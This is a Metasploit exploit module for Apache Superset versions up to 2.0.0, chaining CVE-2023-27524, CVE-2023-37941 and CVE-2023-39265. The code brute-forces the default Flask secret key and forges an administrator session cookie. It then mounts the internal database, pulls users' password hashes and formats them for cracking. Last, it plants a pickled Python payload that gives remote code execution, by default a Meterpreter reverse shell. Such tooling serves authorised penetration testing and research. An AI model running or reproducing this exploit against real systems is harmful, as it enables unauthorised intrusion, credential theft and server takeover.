## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Superset Signed Cookie RCE', 'Description' => %q{ Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies. These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be set for that dashboard within Superset's database which will trigger the RCE. An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # MSF module 'paradoxis', # original flask-unsign tool 'Spencer McIntyre', # MSF flask-unsign library 'Naveen Sunkavally' # horizon3.ai writeup and cve discovery ], 'References' => [ ['URL', 'https://github.com/Paradoxis/Flask-Unsign'], ['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'], ['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'], ['URL', 'https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/'], ['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'], ['EDB', '51447'], ['CVE', '2023-27524'], # flask cookie ['CVE', '2023-37941'], # rce ['CVE', '2023-39265'] # mount superset's internal database ], 'Platform' => ['python'], 'Privileged' => false, 'Arch' => ARCH_PYTHON, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }, 'DisclosureDate' => '2023-09-06', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES], 'RelatedModules' => ['auxiliary/gather/apache_superset_cookie_sig_priv_esc'] } ) ) register_options( [ Opt::RPORT(8088), OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]), OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']), OptPath.new('SECRET_KEYS_FILE', [ false, 'File containing secret keys to try, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt') ]), OptString.new('DATABASE', [true, 'The superset database location', '/app/superset_home/superset.db']) ] ) end def check res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'login/') }) return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string' unless res.body =~ /&#34;version_string&#34;: &#34;([\d.]+)&#34;/ return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string") end version = Rex::Version.new(Regexp.last_match(1)) if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1') Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable") else Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable") end end def get_secret_key(cookie) File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret| secret = secret.strip vprint_status("#{peer} - Checking secret key: #{secret}") unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t")) unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret) vprint_bad("#{peer} - Incorrect secret key: #{secret}") next end print_good("#{peer} - Found secret key: #{secret}") return secret end nil end def validate_cookie(decoded_cookie, secret_key) print_status("#{peer} - Attempting to resign with key: #{secret_key}") encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key) print_status("#{peer} - New signed cookie: #{encoded_cookie}") cookie_jar.clear res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'), 'cookie' => "session=#{encoded_cookie};", 'keep_cookies' => true ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? if res.code == 401 print_bad("#{peer} - Cookie not accepted") return nil end data = res.get_json_document print_good("#{peer} - Cookie validated to user: #{data['result']['username']}") return encoded_cookie end def get_csrf_token vprint_status('Grabbing CSRF token') res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'login/'), 'keep_cookies' => true }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/ @csrf_token = Regexp.last_match(1) vprint_status("#{peer} - CSRF Token: #{@csrf_token}") end def login_and_priv_esc get_csrf_token print_status("#{peer} - Attempting login") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login/'), 'keep_cookies' => true, 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'csrf_token' => @csrf_token } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In' cookie = res.get_cookies.to_s print_good("#{peer} - Logged in Cookie: #{cookie}") # get the cookie value and strip off anything else cookie = cookie.split('=')[1].gsub(';', '') secret_key = get_secret_key(cookie) fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil? decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie) decoded_cookie['user_id'] = datastore['ADMIN_ID'] print_status("#{peer} - Modified cookie: #{decoded_cookie}") @admin_cookie = validate_cookie(decoded_cookie, secret_key) fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if @admin_cookie.nil? end def set_query_latest_query_id vprint_status('Setting latest query id') @client_id = Rex::Text.rand_text_alphanumeric(8, 12) data = Rex::MIME::Message.new data.add_part('"' + @client_id + '"', nil, nil, 'form-data; name="latest_query_id"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id), 'keep_cookies' => true, 'cookie' => "session=#{@admin_cookie};", 'method' => 'PUT', 'data' => data.to_s, 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 end def transform_hash(hash) # Some background on transforming this hash: # If we use python hashlib to generate the hash, it matches # example output for password 'admin': $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5 # hashlib: >>> pbkdf2_hmac('sha256', b'admin', b'CXsb59tSLZm9ABBN', our_app_iters).hex() # 'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5' # however, JTR doesn't like this: No password hashes loaded (see FAQ) # hashid also doesn't: [+] Unknown hash # the basis of this is the hex() makes it 64 characters, and we need 43 characters to be a real hash # https://hashcat.net/forum/thread-7715.html is the same issue # the solution is to take the value, unhex it, base64 it, remove =, and sub '+' for '.'. This is the same for the salt, except for unhex. # example output: $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5 # needs transform to: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU # to get there: salt: base64, remove =, sub '+' for '.' # python code: base64.b64encode(b'CXsb59tSLZm9ABBN').decode('utf8').replace('=','').replace('+','.') # python output: Q1hzYjU5dFNMWm05QUJCTg # to get there: hash: unhex, base64, remove =, sub '+' for '.' # python code: base64.b64encode(binascii.unhexlify(b'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5')).decode('utf8').replace('=','').replace('+','.') # python output: s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU header = hash.split('$')[0] # contains algorithm, iterations header = header.sub('pbkdf2:sha256:', '$pbkdf2-sha256$') salt = hash.split('$')[1] salt = Base64.strict_encode64(salt).delete('=').tr('+', '.') hash = hash.split('$')[2] hash = Base64.strict_encode64([hash].pack('H*')).delete('=').tr('+', '.') jtr_password = [header, salt, hash].join('$') jtr_password end def mount_internal_database # use cve-2023-39265 bypass to mount superset's internal sqlite db res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'), 'method' => 'POST', 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token }, 'data' => { 'engine' => 'sqlite', 'configuration_method' => 'sqlalchemy_form', 'catalog' => [{ 'name' => '', 'value' => '' }], 'sqlalchemy_uri' => "sqlite+pysqlite:///#{datastore['DATABASE']}", 'expose_in_sqllab' => true, 'database_name' => Rex::Text.rand_text_alphanumeric(6, 12), 'allow_ctas' => true, 'allow_cvas' => true, 'allow_dml' => true, 'allow_multi_schema_metadata_fetch' => true, 'extra_json' => { 'cost_estimate_enabled' => true, 'allows_virtual_table_explore' => true }, 'extra' => { 'cost_estimate_enabled' => true, 'allows_virtual_table_explore' => true, 'metadata_params' => {}, 'engine_params' => {}, 'schemas_allowed_for_file_upload' => [] }.to_json }.to_json ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Failed to mount the internal database: #{datastore['DATABASE']}") if res.code == 422 fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 201 j = res.get_json_document @db_id = j['id'] fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @db_id.nil? print_good("Successfully created db mapping with id: #{@db_id}") # create new query tab vprint_status('Creating new sqllab tab') data = Rex::MIME::Message.new data.add_part('{"title":"' + Rex::Text.rand_text_alphanumeric(6, 12) + '","dbId":' + @db_id.to_s + ',"schema":null,"autorun":false,"sql":"SELECT ...","queryLimit":1000}', nil, nil, 'form-data; name="queryEditor"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'tabstateview/'), 'method' => 'POST', 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token }, 'data' => data.to_s ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 j = res.get_json_document @tab_id = j['id'] fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @tab_id.nil? print_good("Using tab: #{@tab_id}") # tell it we're about to submit a new query set_query_latest_query_id # harvest creds vprint_status('Harvesting superset user creds') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), 'method' => 'POST', 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token }, 'data' => { 'client_id' => @client_id, 'database_id' => @db_id, 'json' => true, 'runAsync' => false, 'schema' => 'main', 'sql' => 'SELECT username,password from ab_user;', 'sql_editor_id' => '1', 'tab' => 'Untitled Query 1', 'tmp_table_name' => '', 'select_as_cta' => false, 'ctas_method' => 'TABLE', 'queryLimit' => 1000, 'expand_data' => true }.to_json ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 creds_table = Rex::Text::Table.new( 'Header' => 'Superset Creds', 'Indent' => 2, 'Columns' => [ 'Username', 'Password' ] ) j = res.get_json_document j['data'].each do |cred| jtr_password = transform_hash(cred['password']) creds_table << [cred['username'], jtr_password] create_credential({ workspace_id: myworkspace_id, origin_type: :service, module_fullname: fullname, username: cred['username'], private_type: :nonreplayable_hash, jtr_format: Metasploit::Framework::Hashes.identify_hash(jtr_password), private_data: jtr_password, service_name: 'Apache Superset', address: datastore['RHOST'], port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED }) end print_good(creds_table.to_s) end def rce_implant # create new dashboard vprint_status('Creating new dashboard') res = send_request_cgi( 'keep_cookies' => true, 'cookie' => "session=#{@admin_cookie};", 'uri' => normalize_uri(target_uri.path, 'dashboard', 'new/') ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 res.headers['location'] =~ %r{dashboard/(\d+)/} @dashboard_id = Regexp.last_match(1) fail_with(Failure::UnexpectedReply, "#{peer} - Unable to detect dashboard ID from location header: #{res.headers['location']}") if @dashboard_id.nil? print_good("New Dashboard id: #{@dashboard_id}") # get permalink so we can trigger it later for payload execution vprint_status('Grabbing permalink to new dashboard to trigger payload later') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id, 'permalink'), 'method' => 'POST', 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token }, 'data' => { filterState: {}, urlParams: [] }.to_json ) permalink_key = res.get_json_document['key'] print_good("Dashboard permalink key: #{permalink_key}") # grab the default values so we can unset them later vprint_status('Grabbing values to reset later') set_query_latest_query_id res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), 'method' => 'POST', 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token }, 'data' => { 'client_id' => @client_id, 'database_id' => @db_id, 'json' => true, 'runAsync' => false, 'schema' => 'main', 'sql' => "SELECT id,value from key_value where resource='dashboard_permalink';", 'sql_editor_id' => '1', 'tab' => 'Untitled Query 1', 'tmp_table_name' => '', 'select_as_cta' => false, 'ctas_method' => 'TABLE', 'queryLimit' => 1000, 'expand_data' => true }.to_json ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 # in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV # output to grab the correct values. res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'superset', 'csv', @client_id), 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 @values_to_reset = CSV.parse(res.body) # tell it we're about to submit a new query set_query_latest_query_id pickled = Rex::Text.to_hex(Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded)) pickled = pickled.gsub('\x', '') # we only need a beginning \x not every character for this format vprint_status('Uploading payload') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), 'method' => 'POST', 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token }, 'data' => { 'client_id' => @client_id, 'database_id' => @db_id, 'json' => true, 'runAsync' => false, 'schema' => 'main', 'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';", # the dashboard ID doesn't necessarily correspond to the ID in this table, so we just have to overwrite them all 'sql_editor_id' => '1', 'tab' => 'Untitled Query 1', 'tmp_table_name' => '', 'select_as_cta' => false, 'ctas_method' => 'TABLE', 'queryLimit' => 1000, 'expand_data' => true }.to_json ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 print_status('Triggering payload') res = send_request_cgi( 'keep_cookies' => true, 'cookie' => "session=#{@admin_cookie};", 'uri' => normalize_uri(target_uri.path, 'superset', 'dashboard', 'p', permalink_key, '/') ) # we go through some permalink hell here until res.nil? || res.headers['Location'].nil? res = send_request_cgi( 'keep_cookies' => true, 'cookie' => "session=#{@admin_cookie};", 'uri' => res.headers['Location'] ) end # 404 error and we win. # log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" end def exploit @db_id = nil @csrf_token = nil @tab_id = nil @dashboard_id = nil vprint_status('Attempting login') login_and_priv_esc vprint_status('Attempting to pull user creds from db') mount_internal_database vprint_status('Attempting RCE') rce_implant end def cleanup super # We didn't know the previous values, so just blank out XXX unless (@client_id.nil? || @csrf_token.nil? || @db_id.nil? || @values_to_reset.nil?) print_status('Unsetting RCE Payloads') @values_to_reset.each do |row| next if row[0] == 'id' # headers vprint_status("Restoring row ID #{row[0]}") set_query_latest_query_id is_binary = false if (row[1].starts_with?("b'") && row[1].ends_with?("'")) row[1] = row[1][2..-2] # remove encoding and substring marks row[1] = Rex::Text.to_hex(row[1]) row[1] = row[1].gsub('\x', '') # we only need a beginning \x not every character for this format is_binary = true end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), 'method' => 'POST', 'cookie' => "session=#{@admin_cookie};", 'keep_cookies' => true, 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token }, 'data' => { 'client_id' => @client_id, 'database_id' => @db_id, 'json' => true, 'runAsync' => false, 'schema' => 'main', 'sql' => "UPDATE key_value set value=#{is_binary ? 'X' : ''}'#{row[1]}' where id='#{row[0]}';", 'sql_editor_id' => '1', 'tab' => 'Untitled Query 1', 'tmp_table_name' => '', 'select_as_cta' => false, 'ctas_method' => 'TABLE', 'queryLimit' => 1000, 'expand_data' => true }.to_json ) if res && res.code == 200 vprint_good('Successfully restored') else vprint_bad("Unable to reset value: #{row[1]}") end end end # delete dashboard unless @dashboard_id.nil? print_status('Deleting dashboard') send_request_cgi( 'keep_cookies' => true, 'cookie' => "session=#{@admin_cookie};", 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id), 'method' => 'DELETE', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token } ) end # delete sqllab tab unless @tab_id.nil? print_status('Deleting sqllab tab') send_request_cgi( 'keep_cookies' => true, 'cookie' => "session=#{@admin_cookie};", 'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id), 'method' => 'DELETE', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token } ) end # delete mapping to stock database unless @db_id.nil? print_status('Deleting database mapping') send_request_cgi( 'keep_cookies' => true, 'cookie' => "session=#{@admin_cookie};", 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', @db_id), 'method' => 'DELETE', 'headers' => { 'Accept' => 'application/json', 'X-CSRFToken' => @csrf_token } ) end end end